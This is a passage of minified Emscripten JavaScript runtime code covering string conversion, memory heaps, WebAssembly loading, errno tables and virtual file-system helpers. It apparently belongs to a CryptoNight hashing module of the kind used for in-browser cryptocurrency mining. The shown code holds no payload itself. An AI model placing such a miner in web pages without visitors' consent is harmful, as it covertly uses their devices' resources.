ch=HEAP8[ptr++>>0];if(!ch)return str;str+=String.fromCharCode(ch)}}Module["AsciiToString"]=AsciiToString;function stringToAscii(str,outPtr){return writeAsciiToMemory(str,outPtr,false)}Module["stringToAscii"]=stringToAscii;var UTF8Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf8"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str="";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}Module["UTF8ArrayToString"]=UTF8ArrayToString;function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}Module["UTF8ToString"]=UTF8ToString;function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}Module["stringToUTF8Array"]=stringToUTF8Array;function stringToUTF8(str,outPtr,maxBytesToWrite){return stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite)}Module["stringToUTF8"]=stringToUTF8;function lengthBytesUTF8(str){var len=0;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}Module["lengthBytesUTF8"]=lengthBytesUTF8;var UTF16Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf-16le"):undefined;function demangle(func){var __cxa_demangle_func=Module["___cxa_demangle"]||Module["__cxa_demangle"];if(__cxa_demangle_func){try{var s=func.substr(1);var len=lengthBytesUTF8(s)+1;var buf=_malloc(len);stringToUTF8(s,buf,len);var status=_malloc(4);var ret=__cxa_demangle_func(buf,0,0,status);if(getValue(status,"i32")===0&&ret){return Pointer_stringify(ret)}}catch(e){}finally{if(buf)_free(buf);if(status)_free(status);if(ret)_free(ret)}return func}Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling");return func}function demangleAll(text){var regex=/__Z[\\w\\d_]+/g;return text.replace(regex,(function(x){var y=demangle(x);return x===y?x:x+" ["+y+"]"}))}function jsStackTrace(){var err=new Error;if(!err.stack){try{throw new Error(0)}catch(e){err=e}if(!err.stack){return"(no stack trace available)"}}return err.stack.toString()}function stackTrace(){var js=jsStackTrace();if(Module["extraStackTrace"])js+="\\n"+Module["extraStackTrace"]();return demangleAll(js)}Module["stackTrace"]=stackTrace;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var HEAP,buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module["buffer"]=buffer=buf}function updateGlobalBufferViews(){Module["HEAP8"]=HEAP8=new Int8Array(buffer);Module["HEAP16"]=HEAP16=new Int16Array(buffer);Module["HEAP32"]=HEAP32=new Int32Array(buffer);Module["HEAPU8"]=HEAPU8=new Uint8Array(buffer);Module["HEAPU16"]=HEAPU16=new Uint16Array(buffer);Module["HEAPU32"]=HEAPU32=new Uint32Array(buffer);Module["HEAPF32"]=HEAPF32=new Float32Array(buffer);Module["HEAPF64"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory(){abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value "+TOTAL_MEMORY+", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")}function enlargeMemory(){abortOnCannotGrowMemory()}var TOTAL_STACK=Module["TOTAL_STACK"]||5242880;var TOTAL_MEMORY=Module["TOTAL_MEMORY"]||16777216;if(TOTAL_MEMORY<TOTAL_STACK)Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was "+TOTAL_MEMORY+"! (TOTAL_STACK="+TOTAL_STACK+")");if(Module["buffer"]){buffer=Module["buffer"]}else{if(typeof WebAssembly==="object"&&typeof WebAssembly.Memory==="function"){Module["wasmMemory"]=new WebAssembly.Memory({"initial":TOTAL_MEMORY/WASM_PAGE_SIZE,"maximum":TOTAL_MEMORY/WASM_PAGE_SIZE});buffer=Module["wasmMemory"].buffer}else{buffer=new ArrayBuffer(TOTAL_MEMORY)}}updateGlobalBufferViews();function getTotalMemory(){return TOTAL_MEMORY}HEAP32[0]=1668509029;HEAP16[1]=25459;if(HEAPU8[2]!==115||HEAPU8[3]!==99)throw"Runtime error: expected the system to be little-endian!";Module["HEAP"]=HEAP;Module["buffer"]=buffer;Module["HEAP8"]=HEAP8;Module["HEAP16"]=HEAP16;Module["HEAP32"]=HEAP32;Module["HEAPU8"]=HEAPU8;Module["HEAPU16"]=HEAPU16;Module["HEAPU32"]=HEAPU32;Module["HEAPF32"]=HEAPF32;Module["HEAPF64"]=HEAPF64;function callRuntimeCallbacks(callbacks){while(callbacks.length>0){var callback=callbacks.shift();if(typeof callback=="function"){callback();continue}var func=callback.func;if(typeof func==="number"){if(callback.arg===undefined){Module["dynCall_v"](func)}else{Module["dynCall_vi"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun(){if(Module["preRun"]){if(typeof Module["preRun"]=="function")Module["preRun"]=[Module["preRun"]];while(Module["preRun"].length){addOnPreRun(Module["preRun"].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun(){if(Module["postRun"]){if(typeof Module["postRun"]=="function")Module["postRun"]=[Module["postRun"]];while(Module["postRun"].length){addOnPostRun(Module["postRun"].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}Module["addOnPreRun"]=addOnPreRun;function addOnInit(cb){__ATINIT__.unshift(cb)}Module["addOnInit"]=addOnInit;function addOnPreMain(cb){__ATMAIN__.unshift(cb)}Module["addOnPreMain"]=addOnPreMain;function addOnExit(cb){__ATEXIT__.unshift(cb)}Module["addOnExit"]=addOnExit;function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}Module["addOnPostRun"]=addOnPostRun;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module["intArrayFromString"]=intArrayFromString;function intArrayToString(array){var ret=[];for(var i=0;i<array.length;i++){var chr=array[i];if(chr>255){chr&=255}ret.push(String.fromCharCode(chr))}return ret.join("")}Module["intArrayToString"]=intArrayToString;function writeStringToMemory(string,buffer,dontAddNull){Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!");var lastChar,end;if(dontAddNull){end=buffer+lengthBytesUTF8(string);lastChar=HEAP8[end]}stringToUTF8(string,buffer,Infinity);if(dontAddNull)HEAP8[end]=lastChar}Module["writeStringToMemory"]=writeStringToMemory;function writeArrayToMemory(array,buffer){HEAP8.set(array,buffer)}Module["writeArrayToMemory"]=writeArrayToMemory;function writeAsciiToMemory(str,buffer,dontAddNull){for(var i=0;i<str.length;++i){HEAP8[buffer++>>0]=str.charCodeAt(i)}if(!dontAddNull)HEAP8[buffer>>0]=0}Module["writeAsciiToMemory"]=writeAsciiToMemory;if(!Math["imul"]||Math["imul"](4294967295,5)!==-5)Math["imul"]=function imul(a,b){var ah=a>>>16;var al=a&65535;var bh=b>>>16;var bl=b&65535;return al*bl+(ah*bl+al*bh<<16)|0};Math.imul=Math["imul"];if(!Math["fround"]){var froundBuffer=new Float32Array(1);Math["fround"]=(function(x){froundBuffer[0]=x;return froundBuffer[0]})}Math.fround=Math["fround"];if(!Math["clz32"])Math["clz32"]=(function(x){x=x>>>0;for(var i=0;i<32;i++){if(x&1<<31-i)return i}return 32});Math.clz32=Math["clz32"];if(!Math["trunc"])Math["trunc"]=(function(x){return x<0?Math.ceil(x):Math.floor(x)});Math.trunc=Math["trunc"];var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_tan=Math.tan;var Math_acos=Math.acos;var Math_asin=Math.asin;var Math_atan=Math.atan;var Math_atan2=Math.atan2;var Math_exp=Math.exp;var Math_log=Math.log;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_imul=Math.imul;var Math_fround=Math.fround;var Math_round=Math.round;var Math_min=Math.min;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function getUniqueRunDependency(id){return id}function addRunDependency(id){runDependencies++;if(Module["monitorRunDependencies"]){Module["monitorRunDependencies"](runDependencies)}}Module["addRunDependency"]=addRunDependency;function removeRunDependency(id){runDependencies--;if(Module["monitorRunDependencies"]){Module["monitorRunDependencies"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module["removeRunDependency"]=removeRunDependency;Module["preloadedImages"]={};Module["preloadedAudios"]={};var memoryInitializer=null;function integrateWasmJS(Module){var method=Module["wasmJSMethod"]||"native-wasm";Module["wasmJSMethod"]=method;var wasmTextFile=Module["wasmTextFile"]||"c.wast";var wasmBinaryFile=Module["wasmBinaryFile"]||"c.wasm";var asmjsCodeFile=Module["asmjsCodeFile"]||"cryptonight.temp.asm.js";if(typeof Module["locateFile"]==="function"){wasmTextFile=Module["locateFile"](wasmTextFile);wasmBinaryFile=Module["locateFile"](wasmBinaryFile);asmjsCodeFile=Module["locateFile"](asmjsCodeFile)}var wasmPageSize=64*1024;var asm2wasmImports={"f64-rem":(function(x,y){return x%y}),"f64-to-int":(function(x){return x|0}),"i32s-div":(function(x,y){return(x|0)/(y|0)|0}),"i32u-div":(function(x,y){return(x>>>0)/(y>>>0)>>>0}),"i32s-rem":(function(x,y){return(x|0)%(y|0)|0}),"i32u-rem":(function(x,y){return(x>>>0)%(y>>>0)>>>0}),"debugger":(function(){debugger})};var info={"global":null,"env":null,"asm2wasm":asm2wasmImports,"parent":Module};var exports=null;function lookupImport(mod,base){var lookup=info;if(mod.indexOf(".")<0){lookup=(lookup||{})[mod]}else{var parts=mod.split(".");lookup=(lookup||{})[parts[0]];lookup=(lookup||{})[parts[1]]}if(base){lookup=(lookup||{})[base]}if(lookup===undefined){abort("bad lookupImport to ("+mod+")."+base)}return lookup}function mergeMemory(newBuffer){var oldBuffer=Module["buffer"];if(newBuffer.byteLength<oldBuffer.byteLength){Module["printErr"]("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here")}var oldView=new Int8Array(oldBuffer);var newView=new Int8Array(newBuffer);if(!memoryInitializer){oldView.set(newView.subarray(Module["STATIC_BASE"],Module["STATIC_BASE"]+Module["STATIC_BUMP"]),Module["STATIC_BASE"])}newView.set(oldView);updateGlobalBuffer(newBuffer);updateGlobalBufferViews()}var WasmTypes={none:0,i32:1,i64:2,f32:3,f64:4};function fixImports(imports){if(!0)return imports;var ret={};for(var i in imports){var fixed=i;if(fixed[0]=="_")fixed=fixed.substr(1);ret[fixed]=imports[i]}return ret}function getBinary(){try{var binary;if(Module["wasmBinary"]){binary=Module["wasmBinary"];binary=new Uint8Array(binary)}else if(Module["readBinary"]){binary=Module["readBinary"](wasmBinaryFile)}else{throw"on the web, we need the wasm binary to be preloaded and set on Module[\'wasmBinary\']. emcc.py will do that for you when generating HTML (but not JS)"}return binary}catch(err){abort(err)}}function getBinaryPromise(){if(!Module["wasmBinary"]&&typeof fetch==="function"){return fetch(wasmBinaryFile,{credentials:"same-origin"}).then((function(response){if(!response["ok"]){throw"failed to load wasm binary file at \'"+wasmBinaryFile+"\'"}return response["arrayBuffer"]()}))}return new Promise((function(resolve,reject){resolve(getBinary())}))}function doNativeWasm(global,env,providedBuffer){if(typeof WebAssembly!=="object"){Module["printErr"]("no native wasm support detected");return false}if(!(Module["wasmMemory"]instanceof WebAssembly.Memory)){Module["printErr"]("no native wasm Memory in use");return false}env["memory"]=Module["wasmMemory"];info["global"]={"NaN":NaN,"Infinity":Infinity};info["global.Math"]=global.Math;info["env"]=env;function receiveInstance(instance){exports=instance.exports;if(exports.memory)mergeMemory(exports.memory);Module["asm"]=exports;Module["usingWasm"]=true;removeRunDependency("wasm-instantiate")}addRunDependency("wasm-instantiate");if(Module["instantiateWasm"]){try{return Module["instantiateWasm"](info,receiveInstance)}catch(e){Module["printErr"]("Module.instantiateWasm callback failed with error: "+e);return false}}getBinaryPromise().then((function(binary){return WebAssembly.instantiate(binary,info)})).then((function(output){receiveInstance(output["instance"])})).catch((function(reason){Module["printErr"]("failed to asynchronously prepare wasm: "+reason);abort(reason)}));return{}}Module["asmPreload"]=Module["asm"];var asmjsReallocBuffer=Module["reallocBuffer"];var wasmReallocBuffer=(function(size){var PAGE_MULTIPLE=Module["usingWasm"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;size=alignUp(size,PAGE_MULTIPLE);var old=Module["buffer"];var oldSize=old.byteLength;if(Module["usingWasm"]){try{var result=Module["wasmMemory"].grow((size-oldSize)/wasmPageSize);if(result!==(-1|0)){return Module["buffer"]=Module["wasmMemory"].buffer}else{return null}}catch(e){return null}}else{exports["__growWasmMemory"]((size-oldSize)/wasmPageSize);return Module["buffer"]!==old?Module["buffer"]:null}});Module["reallocBuffer"]=(function(size){if(finalMethod==="asmjs"){return asmjsReallocBuffer(size)}else{return wasmReallocBuffer(size)}});var finalMethod="";Module["asm"]=(function(global,env,providedBuffer){global=fixImports(global);env=fixImports(env);if(!env["table"]){var TABLE_SIZE=Module["wasmTableSize"];if(TABLE_SIZE===undefined)TABLE_SIZE=1024;var MAX_TABLE_SIZE=Module["wasmMaxTableSize"];if(typeof WebAssembly==="object"&&typeof WebAssembly.Table==="function"){if(MAX_TABLE_SIZE!==undefined){env["table"]=new WebAssembly.Table({"initial":TABLE_SIZE,"maximum":MAX_TABLE_SIZE,"element":"anyfunc"})}else{env["table"]=new WebAssembly.Table({"initial":TABLE_SIZE,element:"anyfunc"})}}else{env["table"]=new Array(TABLE_SIZE)}Module["wasmTable"]=env["table"]}if(!env["memoryBase"]){env["memoryBase"]=Module["STATIC_BASE"]}if(!env["tableBase"]){env["tableBase"]=0}var exports;exports=doNativeWasm(global,env,providedBuffer);return exports});var methodHandler=Module["asm"]}integrateWasmJS(Module);var ASM_CONSTS=[];STATIC_BASE=Runtime.GLOBAL_BASE;STATICTOP=STATIC_BASE+12512;__ATINIT__.push();memoryInitializer=Module["wasmJSMethod"].indexOf("asmjs")>=0||Module["wasmJSMethod"].indexOf("interpret-asm2wasm")>=0?"cryptonight.js.mem":null;var STATIC_BUMP=12512;Module["STATIC_BASE"]=STATIC_BASE;Module["STATIC_BUMP"]=STATIC_BUMP;var tempDoublePtr=STATICTOP;STATICTOP+=16;function ___assert_fail(condition,filename,line,func){ABORT=true;throw"Assertion failed: "+Pointer_stringify(condition)+", at: "+[filename?Pointer_stringify(filename):"unknown filename",line,func?Pointer_stringify(func):"unknown function"]+" at "+stackTrace()}var PROCINFO={ppid:1,pid:42,sid:42,pgid:42};var ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86};var ERRNO_MESSAGES={0:"Success",1:"Not super-user",2:"No such file or directory",3:"No such process",4:"Interrupted system call",5:"I/O error",6:"No such device or address",7:"Arg list too long",8:"Exec format error",9:"Bad file number",10:"No children",11:"No more processes",12:"Not enough core",13:"Permission denied",14:"Bad address",15:"Block device required",16:"Mount device busy",17:"File exists",18:"Cross-device link",19:"No such device",20:"Not a directory",21:"Is a directory",22:"Invalid argument",23:"Too many open files in system",24:"Too many open files",25:"Not a typewriter",26:"Text file busy",27:"File too large",28:"No space left on device",29:"Illegal seek",30:"Read only file system",31:"Too many links",32:"Broken pipe",33:"Math arg out of domain of func",34:"Math result not representable",35:"File locking deadlock error",36:"File or path name too long",37:"No record locks available",38:"Function not implemented",39:"Directory not empty",40:"Too many symbolic links",42:"No message of desired type",43:"Identifier removed",44:"Channel number out of range",45:"Level 2 not synchronized",46:"Level 3 halted",47:"Level 3 reset",48:"Link number out of range",49:"Protocol driver not attached",50:"No CSI structure available",51:"Level 2 halted",52:"Invalid exchange",53:"Invalid request descriptor",54:"Exchange full",55:"No anode",56:"Invalid request code",57:"Invalid slot",59:"Bad font file fmt",60:"Device not a stream",61:"No data (for no delay io)",62:"Timer expired",63:"Out of streams resources",64:"Machine is not on the network",65:"Package not installed",66:"The object is remote",67:"The link has been severed",68:"Advertise error",69:"Srmount error",70:"Communication error on send",71:"Protocol error",72:"Multihop attempted",73:"Cross mount point (not really error)",74:"Trying to read unreadable message",75:"Value too large for defined data type",76:"Given log. name not unique",77:"f.d. invalid for this operation",78:"Remote address changed",79:"Can access a needed shared lib",80:"Accessing a corrupted shared lib",81:".lib section in a.out corrupted",82:"Attempting to link in too many libs",83:"Attempting to exec a shared library",84:"Illegal byte sequence",86:"Streams pipe error",87:"Too many users",88:"Socket operation on non-socket",89:"Destination address required",90:"Message too long",91:"Protocol wrong type for socket",92:"Protocol not available",93:"Unknown protocol",94:"Socket type not supported",95:"Not supported",96:"Protocol family not supported",97:"Address family not supported by protocol family",98:"Address already in use",99:"Address not available",100:"Network interface is not configured",101:"Network is unreachable",102:"Connection reset by network",103:"Connection aborted",104:"Connection reset by peer",105:"No buffer space available",106:"Socket is already connected",107:"Socket is not connected",108:"Can\'t send after socket shutdown",109:"Too many references",110:"Connection timed out",111:"Connection refused",112:"Host is down",113:"Host is unreachable",114:"Socket already connected",115:"Connection already in progress",116:"Stale file handle",122:"Quota exceeded",123:"No medium (in tape drive)",125:"Operation canceled",130:"Previous owner died",131:"State not recoverable"};function ___setErrNo(value){if(Module["___errno_location"])HEAP32[Module["___errno_location"]()>>2]=value;return value}var PATH={splitPath:(function(filename){var splitPathRe=/^(\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/;return splitPathRe.exec(filename).slice(1)}),normalizeArray:(function(parts,allowAboveRoot){var up=0;for(var i=parts.length-1;i>=0;i--){var last=parts[i];if(last==="."){parts.splice(i,1)}else if(last===".."){parts.splice(i,1);up++}else if(up){parts.splice(i,1);up--}}if(allowAboveRoot){for(;up;up--){parts.unshift("..")}}return parts}),normalize:(function(path){var isAbsolute=path.charAt(0)==="/",trailingSlash=path.substr(-1)==="/";path=PATH.normalizeArray(path.split("/").filter((function(p){return!!p})),!isAbsolute).join("/");if(!path&&!isAbsolute){path="."}if(path&&trailingSlash){path+="/"}return(isAbsolute?"/":"")+path}),dirname:(function(path){var result=PATH.splitPath(path),root=result[0],dir=result[1];if(!root&&!dir){return"."}if(dir){dir=dir.substr(0,dir.length-1)}return root+dir}),basename:(function(path){if(path==="/")return"/";var lastSlash=path.lastIndexOf("/");if(lastSlash===-1)return path;return path.substr(lastSlash+1)}),extname:(function(path){return PATH.splitPath(path)[3]}),join:(function(){var paths=Array.prototype.slice.call(arguments,0);return PATH.normalize(paths.join("/"))}),join2:(function(l,r){return PATH.normalize(l+"/"+r)}),resolve:(function(){var resolvedPath="",resolvedAbsolute=false;for(var i=arguments.length-1;i>=-1&&!resolvedAbsolute;i--){var path=i>=0?arguments[i]:FS.cwd();if(typeof path!=="string"){throw new TypeError("Arguments to path.resolve must be strings")}else if(!path){return""}resolvedPath=path+"/"+resolvedPath;resolvedAbsolute=path.charAt(0)==="/"}resolvedPath=PATH.normalizeArray(resolvedPath.split("/").filter((function(p){return!!p})),!resolvedAbsolute).join("/");return(resolvedAbsolute?"/":"")+resolvedPath||"."}),relative:(function(from,to){from=PATH.resolve(from).substr(1);to=PATH.resolve(to).substr(1);function trim(arr){var start=0;for(;start<arr.length;start++){if(arr[start]!=="")break}var end=arr.length-1;for(;end>=0;end--){if(arr[end]!=="")break}if(start>end)return[];return arr.slice(start,end-start+1)}var fromParts=trim(from.split("/"));var toParts=trim(to.split("/"));var length=Math.min(fromParts.length,toParts.length);var samePartsLength=length;for(var i=0;i<length;i++){if(fromParts[i]!==toParts[i]){samePartsLength=i;break}}var outputParts=[];for(var i=samePartsLength;i<fromParts.length;i++){outputParts.push("..")}outputParts=outputParts.concat(toParts.slice(samePartsLength));return outputParts.join("/")})};var TTY={ttys:[],init:(function(){}),shutdown:(function(){}),register:(function(dev,ops){TTY.ttys[dev]={input:[],output:[],ops:ops};FS.registerDevice(dev,TTY.stream_ops)}),stream_ops:{open:(function(stream){var tty=TTY.ttys[stream.node.rdev];if(!tty){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}stream.tty=tty;stream.seekable=false}),close:(function(stream){stream.tty.ops.flush(stream.tty)}),flush:(function(stream){stream.tty.ops.flush(stream.tty)}),read:(function(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.get_char){throw new FS.ErrnoError(ERRNO_CODES.ENXIO)}var bytesRead=0;for(var i=0;i<length;i++){var result;try{result=stream.tty.ops.get_char(stream.tty)}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(result===undefined&&bytesRead===0){throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}if(result===null||result===undefined)break;bytesRead++;buffer[offset+i]=result}if(bytesRead){stream.node.timestamp=Date.now()}return bytesRead}),write:(function(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.put_char){throw new FS.ErrnoError(ERRNO_CODES.ENXIO)}for(var i=0;i<length;i++){try{stream.tty.ops.put_char(stream.tty,buffer[offset+i])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}}if(length){stream.node.timestamp=Date.now()}return i})},default_tty_ops:{get_char:(function(tty){if(!tty.input.length){var result=null;if(ENVIRONMENT_IS_NODE){var BUFSIZE=256;var buf=new Buffer(BUFSIZE);var bytesRead=0;var isPosixPlatform=process.platform!="win32";var fd=process.stdin.fd;if(isPosixPlatform){var usingDevice=false;try{fd=fs.openSync("/dev/stdin","r");usingDevice=true}catch(e){}}try{bytesRead=fs.readSync(fd,buf,0,BUFSIZE,null)}catch(e){if(e.toString().indexOf("EOF")!=-1)bytesRead=0;else throw e}if(usingDevice){fs.closeSync(fd)}if(bytesRead>0){result=buf.slice(0,bytesRead).toString("utf-8")}else{result=null}}else if(typeof window!="undefined"&&typeof window.prompt=="function"){result=window.prompt("Input: ");if(result!==null){result+="\\n"}}else if(typeof readline=="function"){result=readline();if(result!==null){result+="\\n"}}if(!result){return null}tty.input=intArrayFromString(result,true)}return tty.input.shift()}),put_char:(function(tty,val){if(val===null||val===10){Module["print"](UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){Module["print"](UTF8ArrayToString(tty.output,0));tty.output=[]}})},default_tty1_ops:{put_char:(function(tty,val){if(val===null||val===10){Module["printErr"](UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){Module["printErr"](UTF8ArrayToString(tty.output,0));tty.output=[]}})}};var MEMFS={ops_table:null,mount:(function(mount){return MEMFS.createNode(null,"/",16384|511,0)}),createNode:(function(parent,name,mode,dev){if(FS.isBlkdev(mode)||FS.isFIFO(mode)){throw new 